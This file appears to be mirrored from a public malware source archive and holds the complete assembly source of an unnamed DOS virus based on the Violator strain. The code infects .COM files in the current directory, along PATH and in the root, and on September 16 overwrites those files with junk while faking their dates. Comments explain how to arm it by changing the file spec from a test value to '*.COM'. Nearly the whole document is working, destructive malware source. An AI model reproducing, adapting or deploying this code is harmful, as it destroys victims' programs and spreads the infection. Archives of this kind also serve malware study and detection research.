mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
403 lines
13 KiB
NASM
403 lines
13 KiB
NASM
; this code ataches to all .com files in the current dir then the path then
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; the root dir then on 9-16 it does things to the same files.
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; it set's them to 10:00am 9-16-91 and set's the file size to
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; how many years since that date basically your harmless little
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; iritating virus mostly getting at the little utilites in the path..
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; and eventually command.com based originally on violator strain b
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; ( which is a nasty one formats randomly) it has no name
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; name it what you will...
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; change fspec_ to '*.COM' to make it work.. set in test mode right now..
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CODE SEGMENT
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ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
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ORG $+0100H ; Set ORG to 100H plus our own
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VCODE: JMP virus
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NOP
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NOP
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NOP
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NOP ;15 NOP's to place JMP Header
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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v_start equ $
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virus: PUSH CX
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MOV DX,OFFSET vir_dat
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CLD
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NOP
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MOV SI,DX ; setup the data to write out
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ADD SI,first_3
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MOV CX,4
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MOV DI,OFFSET 100H
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REPZ MOVSB
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MOV SI,DX
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PUSH ES
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MOV AH,2FH ; get DTA
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INT 21H ; save old dta
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NOP
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MOV [SI+old_dta],BX
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MOV [SI+old_dts],ES
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POP ES
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MOV DX,dta ; DX = our DTA
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ADD DX,SI
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MOV AH,1AH ;set DTA address
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INT 21H
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NOP
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PUSH ES
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PUSH SI
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MOV ES,DS:2CH
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XOR DI,DI ; zero DI
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MOV AH,2AH ;Get date info
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INT 21h ;Call DOS
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CMP DH,9 ;Check to see if it is the right month
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NOP
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JE day_check ;If equal, check day
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JMP find_Path ;if not, go on with infection
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day_check:
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CMP DL,16 ;Check to see if today is the day
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JE Set_Delete ;If yes, then check day of week
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JMP find_Path ;If not, then go on with infection
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Set_Delete:
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SUB CX,7C7H ; figure file size
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MOV [SI+B_day],CX
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MOV AL,1
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MOV [SI+del_f],AL ; set del flag
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find_path:
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POP SI
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PUSH SI ;clear SI
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ADD SI,env_str ; env string in SI
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NOP
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LODSB ; load byte into AL
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MOV CX,OFFSET 8000H
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REPNZ SCASB ; do this 128 or 32768 skip 128?
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MOV CX,4
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check_next_4: ; load byte into AL
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LODSB ; four times
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SCASB
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;
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; The JNZ line specifies that if there is no PATH present, then we will go
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; along and infect the ROOT directory on the default drive.
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;
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JNZ find_path ;If not path, then go to ROOT dir
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LOOP check_next_4 ;Go back and check for more chars
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POP SI ;Load in PATH again to look for chars
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POP ES
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MOV [SI+path_ad],DI
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MOV DI,SI
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ADD DI,wrk_spc ;Put the filename in wrk_spc
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MOV BX,SI
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ADD SI,wrk_spc
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MOV DI,SI
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JMP SHORT slash_ok
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set_subdir:
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CMP WORD PTR [SI+path_ad],0
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JNZ found_subdir
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JMP all_done
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found_subdir:
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PUSH DS
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PUSH SI
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MOV DS,ES:2CH
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MOV DI,SI
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MOV SI,ES:[DI+path_ad]
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ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
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move_subdir:
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LODSB ;To tedious work to move into subdir
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CMP AL,';' ;Does it end with a ; charachter?
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JZ moved_one ;if yes, then we found a subdir
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CMP AL,0 ;is it the end of the path?
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JZ moved_last_one ;if yes, then we save the PATH
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STOSB ;marker into DI for future reference
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JMP SHORT move_subdir
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moved_last_one:
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MOV SI,0
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moved_one:
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POP BX ;BX is where the virus data is
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POP DS ;Restore DS so that we can do stuph
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MOV [BX+path_ad],SI ;Where is the next subdir?
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NOP
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CMP CH,'\' ;Check to see if it ends in \
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JZ slash_ok ;If yes, then it's OK
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MOV AL,'\' ;if not, then add one...
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STOSB ;store the sucker
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slash_ok:
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MOV [BX+nam_ptr],DI ;Move the filename into workspace
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MOV SI,BX ;Restore the original SI value
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ADD SI,f_spec ;Point to COM file victim
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MOV CX,6
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REPZ MOVSB ;Move victim into workspace
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NOP
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MOV SI,BX
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MOV AH,4EH ; find first again?
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MOV DX,wrk_spc ; file name
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ADD DX,SI ; DX is ... THE VICTIM!!!
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MOV CX,3 ; Attributes of Read Only or Hidden OK
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INT 21H
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NOP
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JMP SHORT find_first
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find_next:
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MOV AH,4FH ; find next file
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INT 21H
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find_first:
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JNB found_file ;Jump if we found it
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JMP SHORT set_subdir ;Otherwise, get another subdirectory
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found_file:
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MOV AX,[SI+dta_tim] ;Get time from DTA
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AND AL,1EH ;Mask to remove all but seconds
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CMP AL,1EH ;60 seconds
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NOP
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JZ check_day
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JMP go_on
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check_day:
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XOR AL,AL
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CMP AL,[SI+del_f]
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JE find_next
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go_on:
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CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;to big 64k?
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JA find_next ;If too long, find another one
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CMP WORD PTR [SI+dta_len],0AH ;too small 10bytes?
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JB find_next ;Then go find another one
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NOP
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MOV DI,[SI+nam_ptr]
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PUSH SI
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ADD SI,dta_nam
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more_chars:
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LODSB
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STOSB
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CMP AL,0
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JNZ more_chars
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POP SI
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MOV AX,OFFSET 4300H ;get file attr
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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NOP
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MOV [SI+old_attr],CX ; save file attr
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MOV AX,OFFSET 4301H ; set file attr
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AND CX,OFFSET 0FFFEH ; set file attr to 11111110B
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; MOV DX,wrk_spc
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; ADD DX,SI
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INT 21H
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check_delete:
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XOR AL,AL
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CMP AL,[SI+del_f]
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JE open
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create:
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MOV AX,OFFSET 3C00H ;create nornal file
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; MOV DX,wrk_spc ;
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; ADD DX,SI ;
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INT 21H
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NOP
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MOV BX,AX
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MOV CX,[SI+b_day]
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MOV AH,40H
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INT 21H
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NOP
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MOV AX,OFFSET 5701H ;Set Date Time
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MOV CX,05000H ;Time 10:00am
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MOV DX,01730H ;Date 9-16-91
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INT 21H
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NOP
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JMP Fix_attr
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open:
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MOV AX,OFFSET 3D02H ; open read/write
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; MOV DX,wrk_spc ;
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; ADD DX,SI ;
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INT 21H
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JNB Get_td
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JMP fix_attr
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Get_td:
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MOV BX,AX ; AX is the file handle
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MOV AX,OFFSET 5700H ;get date time
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INT 21H
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NOP
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MOV [SI+old_tim],CX ;Save file time
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MOV [SI+ol_date],DX ;Save the date
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; MOV AH,2CH ; get system time?
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; INT 21H
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; AND DH,7
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XOR AL,AL ; should i infect or just get out
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CMP AL,[SI+del_f]
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JE infect
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jmp fix_attr
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infect:
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MOV AH,3FH ; read file
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MOV CX,3 ; three chars
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MOV DX,first_3 ; put those three on first_3
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ADD DX,SI
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INT 21H ;Save first 3 bytes into the data area
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NOP
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JB fix_time_stamp ; can't read go here
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CMP AX,3 ;is ax 3?
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JNZ fix_time_stamp ;if three wern't read go here
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MOV AX,OFFSET 4202H ; move file pointer offset from end
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XOR CX,CX ; 0 chars
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XOR DX,DX ; data buffer
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INT 21H ; read file
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JB fix_time_stamp ; can't read go here
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MOV CX,AX ; mov the error code into CX
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SUB AX,3 ; subtract ax from 3?
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MOV [SI+jmp_dsp],AX ; 0
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ADD CX,OFFSET c_len_y ; 100H more that codelen
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MOV DI,SI
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SUB DI,OFFSET c_len_x ; two less that codelen
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MOV [DI],CX
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MOV AH,40H ;Write file
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MOV CX,virlen
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MOV DX,SI
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SUB DX,OFFSET codelen
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INT 21H ;Write file
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JB fix_time_stamp
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CMP AX,OFFSET virlen
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NOP
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JNZ fix_time_stamp
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MOV AX,OFFSET 4200H ;move file poniter to begin
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XOR CX,CX
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XOR DX,DX
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INT 21H ;Write file
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JB fix_time_stamp
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MOV AH,40H ;Write file
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MOV CX,3
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MOV DX,SI
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ADD DX,jmp_op ; write jmp to us at beginging
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INT 21H ;Write file
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fix_time_stamp:
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MOV DX,[SI+ol_date]
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MOV CX,[SI+old_tim]
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AND CX,OFFSET 0FFE0H ; mask hours and mins?
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OR CX,1EH ; 60 seconds
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MOV AX,OFFSET 5701H ;set date time
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INT 21H
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MOV AH,3EH ; close file
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INT 21H
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fix_attr:
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MOV AX,OFFSET 4301H ;set file attr
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MOV CX,[SI+old_attr]
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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all_done:
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PUSH DS
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MOV AH,1AH ; set DTA address
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MOV DX,[SI+old_dta]
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MOV DS,[SI+old_dts]
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INT 21H
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POP DS
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quit:
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POP CX
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XOR AX,AX ;XOR values so that we will give the
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XOR BX,BX ;poor sucker a hard time trying to
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XOR DX,DX ;reassemble the source code if he
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XOR SI,SI ;decides to dissassemble us.
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MOV DI,OFFSET 0100H
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PUSH DI
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XOR DI,DI
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RET 0FFFFH ;Return back to the beginning
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;of the program
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vir_dat EQU $
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olddta_ DW 0
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olddts_ DW 0
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oldtim_ DW 0
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oldate_ DW 0
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oldattr_ DW 0
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first3_ EQU $
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NOP
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INT 20H
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NOP
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jmpop_ DB 0E9H
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jmpdsp_ DW 0
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fspec_ DB '*.$@$',0 ; change to *.COM to make it work
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pathad_ DW 0
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namptr_ DW 0
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envstr_ DB 'PATH='
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wrkspc_ DB 40h dup (0)
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dta_ DB 16h dup (0)
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dtatim_ DW 0,0
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dtalen_ DW 0,0
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dtanam_ DB 0Dh dup (0)
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delf_ DB 0
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BDay_ DB 0
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lst_byt EQU $
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virlen = lst_byt - v_start
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codelen = vir_dat - v_start
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c_len_x = vir_dat - v_start - 2
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c_len_y = vir_dat - v_start + 100H
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old_dta = olddta_ - vir_dat
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old_dts = olddts_ - vir_dat
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old_tim = oldtim_ - vir_dat
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ol_date = oldate_ - vir_dat
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old_attr = oldattr_ - vir_dat
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first_3 = first3_ - vir_dat
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jmp_op = jmpop_ - vir_dat
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jmp_dsp = jmpdsp_ - vir_dat
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f_spec = fspec_ - vir_dat
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path_ad = pathad_ - vir_dat
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nam_ptr = namptr_ - vir_dat
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env_str = envstr_ - vir_dat
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wrk_spc = wrkspc_ - vir_dat
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dta = dta_ - vir_dat
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dta_tim = dtatim_ - vir_dat
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dta_len = dtalen_ - vir_dat
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dta_nam = dtanam_ - vir_dat
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del_f = delf_ - vir_dat
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B_Day = bday_ - vir_dat
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CODE ENDS
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END VCODE
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